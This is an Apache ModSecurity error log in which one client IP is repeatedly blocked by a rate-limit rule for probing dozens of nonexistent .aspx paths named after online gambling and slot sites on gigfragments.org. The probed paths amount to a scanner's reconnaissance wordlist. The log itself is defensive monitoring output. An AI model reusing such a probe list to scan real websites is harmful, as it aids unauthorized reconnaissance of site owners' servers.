[Sun Mar 01 10:02:55.387290 2026] [:error] [pid 21156:tid 21173] [client 79.137.65.139:59630] [client 79.137.65.139] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/lava%20slot.aspx"] [unique_id "aaOeT6saG_9IkG8N2p0BaAAAAAc"]
[Sun Mar 01 10:02:57.369310 2026] [:error] [pid 33229:tid 33231] [client 79.137.65.139:59646] [client 79.137.65.139] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/mega%20slot.aspx"] [unique_id "aaOeUXzT4c9ddlGE6FxFgwAAAYA"]
[Sun Mar 01 10:02:59.248808 2026] [:error] [pid 33229:tid 33235] [client 79.137.65.139:51712] [client 79.137.65.139] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/metal%20slot.aspx"] [unique_id "aaOeU3zT4c9ddlGE6FxFhwAAAYQ"]
[Sun Mar 01 10:03:01.265551 2026] [:error] [pid 21159:tid 21237] [client 79.137.65.139:51718] [client 79.137.65.139] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20168.aspx"] [unique_id "aaOeVeLi3ouy1NZIkgo_7wAAAJA"]
[Sun Mar 01 10:03:10.920144 2026] [:error] [pid 21263:tid 21278] [client 79.137.65.139:51732] [client 79.137.65.139] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20auto.aspx"] [unique_id "aaOeXtAxjzLvN1upBhkJegAAAMs"]
[Sun Mar 01 10:03:14.106954 2026] [:error] [pid 33767:tid 33774] [client 79.137.65.139:36984] [client 79.137.65.139] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20betflik.aspx"] [unique_id "aaOeYkGyeKe3MWsxvBj-ngAAAgQ"]
[Sun Mar 01 10:03:16.051510 2026] [:error] [pid 33229:tid 33241] [client 79.137.65.139:36986] [client 79.137.65.139] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20game%20slot.aspx"] [unique_id "aaOeZHzT4c9ddlGE6FxFkQAAAYo"]
[Sun Mar 01 10:03:18.073186 2026] [:error] [pid 33229:tid 33248] [client 79.137.65.139:47890] [client 79.137.65.139] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20game.aspx"] [unique_id "aaOeZnzT4c9ddlGE6FxFkwAAAZE"]
[Sun Mar 01 10:03:20.112637 2026] [:error] [pid 33539:tid 33561] [client 79.137.65.139:47892] [client 79.137.65.139] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20joker%20auto.aspx"] [unique_id "aaOeaNCsLwBYg4s018urIgAAAdA"]
[Sun Mar 01 10:03:21.986675 2026] [:error] [pid 33539:tid 33561] [client 79.137.65.139:47898] [client 79.137.65.139] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20joker.aspx"] [unique_id "aaOeadCsLwBYg4s018urKQAAAdA"]
[Sun Mar 01 10:03:24.252606 2026] [:error] [pid 24576:tid 24597] [client 79.137.65.139:47906] [client 79.137.65.139] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20osaka.aspx"] [unique_id "aaOebIvfb5CnctJh0700KwAAARE"]
[Sun Mar 01 10:03:26.191178 2026] [:error] [pid 21263:tid 21278] [client 79.137.65.139:47910] [client 79.137.65.139] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20plus.aspx"] [unique_id "aaOebtAxjzLvN1upBhkJgQAAAMs"]
[Sun Mar 01 10:03:28.219789 2026] [:error] [pid 33539:tid 33554] [client 79.137.65.139:39566] [client 79.137.65.139] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot%20168.aspx"] [unique_id "aaOecNCsLwBYg4s018urNQAAAck"]
[Sun Mar 01 10:03:30.112650 2026] [:error] [pid 21263:tid 21278] [client 79.137.65.139:39568] [client 79.137.65.139] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot%20789.aspx"] [unique_id "aaOectAxjzLvN1upBhkJhAAAAMs"]
[Sun Mar 01 10:03:32.145238 2026] [:error] [pid 33767:tid 33781] [client 79.137.65.139:39574] [client 79.137.65.139] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot%20888th.aspx"] [unique_id "aaOedEGyeKe3MWsxvBj-tQAAAgs"]
[Sun Mar 01 10:04:21.639573 2026] [:error] [pid 24576:tid 24586] [client 79.137.65.139:50364] [client 79.137.65.139] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20thailand.aspx"] [unique_id "aaOepYvfb5CnctJh0700agAAAQc"]
[Sun Mar 01 10:04:23.618340 2026] [:error] [pid 33767:tid 33774] [client 79.137.65.139:44506] [client 79.137.65.139] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20wallet.aspx"] [unique_id "aaOep0GyeKe3MWsxvBj-4wAAAgQ"]
[Sun Mar 01 10:04:25.497510 2026] [:error] [pid 33539:tid 33570] [client 79.137.65.139:44514] [client 79.137.65.139] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20world.aspx"] [unique_id "aaOeqdCsLwBYg4s018urnwAAAdg"]
[Sun Mar 01 10:04:27.519196 2026] [:error] [pid 21263:tid 21291] [client 79.137.65.139:44518] [client 79.137.65.139] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pgslot%20login.aspx"] [unique_id "aaOeq9AxjzLvN1upBhkJ6gAAANg"]
[Sun Mar 01 10:04:29.428188 2026] [:error] [pid 33767:tid 33781] [client 79.137.65.139:46982] [client 79.137.65.139] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pgzeed%20gold.aspx"] [unique_id "aaOerUGyeKe3MWsxvBj-8wAAAgs"]
[Sun Mar 01 10:04:31.439622 2026] [:error] [pid 33229:tid 33239] [client 79.137.65.139:46984] [client 79.137.65.139] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pp%20slot.aspx"] [unique_id "aaOer3zT4c9ddlGE6FxGAwAAAYg"]
[Sun Mar 01 10:04:33.436280 2026] [:error] [pid 33767:tid 33775] [client 79.137.65.139:46992] [client 79.137.65.139] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/riches666%20pg.aspx"] [unique_id "aaOesUGyeKe3MWsxvBj--wAAAgU"]
[Sun Mar 01 10:04:35.446517 2026] [:error] [pid 33229:tid 33235] [client 79.137.65.139:47008] [client 79.137.65.139] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/riches777%20pg.aspx"] [unique_id "aaOes3zT4c9ddlGE6FxGEAAAAYQ"]
[Sun Mar 01 10:04:37.450438 2026] [:error] [pid 33539:tid 33566] [client 79.137.65.139:47010] [client 79.137.65.139] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/riches888%20pg.aspx"] [unique_id "aaOetdCsLwBYg4s018urwAAAAdQ"]
[Sun Mar 01 10:04:39.451535 2026] [:error] [pid 33229:tid 33248] [client 79.137.65.139:42052] [client 79.137.65.139] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/royal%20slot.aspx"] [unique_id "aaOet3zT4c9ddlGE6FxGIAAAAZE"]
[Sun Mar 01 10:04:41.461810 2026] [:error] [pid 33767:tid 33774] [client 79.137.65.139:42060] [client 79.137.65.139] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sa%20casino.aspx"] [unique_id "aaOeuUGyeKe3MWsxvBj_BAAAAgQ"]
[Sun Mar 01 10:04:43.466338 2026] [:error] [pid 21263:tid 21278] [client 79.137.65.139:42072] [client 79.137.65.139] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sbobet%20auto.aspx"] [unique_id "aaOeu9AxjzLvN1upBhkJ_wAAAMs"]
[Sun Mar 01 10:04:45.362264 2026] [:error] [pid 33767:tid 33775] [client 79.137.65.139:42086] [client 79.137.65.139] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sbobet%20ca.aspx"] [unique_id "aaOevUGyeKe3MWsxvBj_FgAAAgU"]
[Sun Mar 01 10:04:47.237730 2026] [:error] [pid 33767:tid 33781] [client 79.137.65.139:42090] [client 79.137.65.139] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20777.aspx"] [unique_id "aaOev0GyeKe3MWsxvBj_GwAAAgs"]
[Sun Mar 01 10:04:49.278430 2026] [:error] [pid 33767:tid 33774] [client 79.137.65.139:51950] [client 79.137.65.139] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20888.aspx"] [unique_id "aaOewUGyeKe3MWsxvBj_JAAAAgQ"]
[Sun Mar 01 10:04:51.281476 2026] [:error] [pid 33767:tid 33774] [client 79.137.65.139:51962] [client 79.137.65.139] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%2099.aspx"] [unique_id "aaOew0GyeKe3MWsxvBj_JwAAAgQ"]
[Sun Mar 01 10:04:53.274429 2026] [:error] [pid 21263:tid 21291] [client 79.137.65.139:51978] [client 79.137.65.139] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20auto.aspx"] [unique_id "aaOexdAxjzLvN1upBhkKDQAAANg"]
[Sun Mar 01 10:04:55.275692 2026] [:error] [pid 33767:tid 33781] [client 79.137.65.139:51994] [client 79.137.65.139] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20demo.aspx"] [unique_id "aaOex0GyeKe3MWsxvBj_MQAAAgs"]
[Sun Mar 01 10:04:57.282290 2026] [:error] [pid 33767:tid 33774] [client 79.137.65.139:52008] [client 79.137.65.139] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20free.aspx"] [unique_id "aaOeyUGyeKe3MWsxvBj_NQAAAgQ"]
[Sun Mar 01 10:04:59.291225 2026] [:error] [pid 33539:tid 33566] [client 79.137.65.139:32960] [client 79.137.65.139] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20game%20666.aspx"] [unique_id "aaOey9CsLwBYg4s018usBAAAAdQ"]
[Sun Mar 01 10:05:01.145623 2026] [:error] [pid 33229:tid 33248] [client 79.137.65.139:32974] [client 79.137.65.139] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20joker.aspx"] [unique_id "aaOezXzT4c9ddlGE6FxGUwAAAZE"]
[Sun Mar 01 10:05:03.149596 2026] [:error] [pid 33539:tid 33561] [client 79.137.65.139:32986] [client 79.137.65.139] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20online.aspx"] [unique_id "aaOez9CsLwBYg4s018usGAAAAdA"]
[Sun Mar 01 10:05:05.644358 2026] [:error] [pid 33539:tid 33561] [client 79.137.65.139:32998] [client 79.137.65.139] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20pg%20soft.aspx"] [unique_id "aaOe0dCsLwBYg4s018usLAAAAdA"]
[Sun Mar 01 10:05:07.642183 2026] [:error] [pid 33229:tid 33239] [client 79.137.65.139:33012] [client 79.137.65.139] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20pg%20vip.aspx"] [unique_id "aaOe03zT4c9ddlGE6FxGYAAAAYg"]
[Sun Mar 01 10:05:09.647463 2026] [:error] [pid 33229:tid 33233] [client 79.137.65.139:43782] [client 79.137.65.139] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20pg%20wallet.aspx"] [unique_id "aaOe1XzT4c9ddlGE6FxGaQAAAYI"]
[Sun Mar 01 10:05:11.999878 2026] [:error] [pid 33539:tid 33552] [client 79.137.65.139:43790] [client 79.137.65.139] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20super%20wallet.aspx"] [unique_id "aaOe19CsLwBYg4s018usUgAAAcc"]
[Sun Mar 01 10:05:15.030872 2026] [:error] [pid 33229:tid 33233] [client 79.137.65.139:43802] [client 79.137.65.139] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20true%20wallet.aspx"] [unique_id "aaOe23zT4c9ddlGE6FxGhgAAAYI"]
[Sun Mar 01 10:06:13.103753 2026] [:error] [pid 33539:tid 33565] [client 79.137.65.139:54120] [client 79.137.65.139] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufa%20c4.aspx"] [unique_id "aaOfFdCsLwBYg4s018us7AAAAdM"]
[Sun Mar 01 10:06:15.045208 2026] [:error] [pid 21263:tid 21270] [client 79.137.65.139:51824] [client 79.137.65.139] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufa%20sa.aspx"] [unique_id "aaOfF9AxjzLvN1upBhkKbQAAAMM"]
[Sun Mar 01 10:06:17.054268 2026] [:error] [pid 21159:tid 21221] [client 79.137.65.139:51840] [client 79.137.65.139] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufa%20slot.aspx"] [unique_id "aaOfGeLi3ouy1NZIkgpAEQAAAIA"]
[Sun Mar 01 10:06:18.938604 2026] [:error] [pid 21263:tid 21270] [client 79.137.65.139:38636] [client 79.137.65.139] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufa%20vip.aspx"] [unique_id "aaOfGtAxjzLvN1upBhkKcAAAAMM"]
[Sun Mar 01 10:06:20.942054 2026] [:error] [pid 33767:tid 33774] [client 79.137.65.139:38642] [client 79.137.65.139] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufa%20wallet%20777.aspx"] [unique_id "aaOfHEGyeKe3MWsxvBj_gwAAAgQ"]
[Sun Mar 01 10:06:22.953579 2026] [:error] [pid 33229:tid 33248] [client 79.137.65.139:38648] [client 79.137.65.139] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufa%20wallet.aspx"] [unique_id "aaOfHnzT4c9ddlGE6FxG8gAAAZE"]
[Sun Mar 01 10:06:26.208114 2026] [:error] [pid 33539:tid 33546] [client 79.137.65.139:38660] [client 79.137.65.139] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%20100.aspx"] [unique_id "aaOfItCsLwBYg4s018utCgAAAcE"]
[Sun Mar 01 10:06:28.036588 2026] [:error] [pid 33767:tid 33771] [client 79.137.65.139:37820] [client 79.137.65.139] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%201668.aspx"] [unique_id "aaOfJEGyeKe3MWsxvBj_kgAAAgE"]
[Sun Mar 01 10:06:30.050516 2026] [:error] [pid 33539:tid 33561] [client 79.137.65.139:37822] [client 79.137.65.139] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%207777.aspx"] [unique_id "aaOfJtCsLwBYg4s018utFQAAAdA"]
[Sun Mar 01 10:06:32.046305 2026] [:error] [pid 8688:tid 8705] [client 79.137.65.139:37834] [client 79.137.65.139] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%20auto%20wallet.aspx"] [unique_id "aaOfKDHJ4Nn-RvulD0rPVAAAAU8"]
[Sun Mar 01 10:06:34.052541 2026] [:error] [pid 33767:tid 33774] [client 79.137.65.139:37842] [client 79.137.65.139] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%20auto.aspx"] [unique_id "aaOfKkGyeKe3MWsxvBj_nAAAAgQ"]
[Sun Mar 01 10:06:36.057631 2026] [:error] [pid 33229:tid 33238] [client 79.137.65.139:37848] [client 79.137.65.139] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%20net.aspx"] [unique_id "aaOfLHzT4c9ddlGE6FxG_wAAAYc"]
[Sun Mar 01 10:06:38.210262 2026] [:error] [pid 33767:tid 33774] [client 79.137.65.139:37278] [client 79.137.65.139] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%20wallet%20777.aspx"] [unique_id "aaOfLkGyeKe3MWsxvBj_vwAAAgQ"]
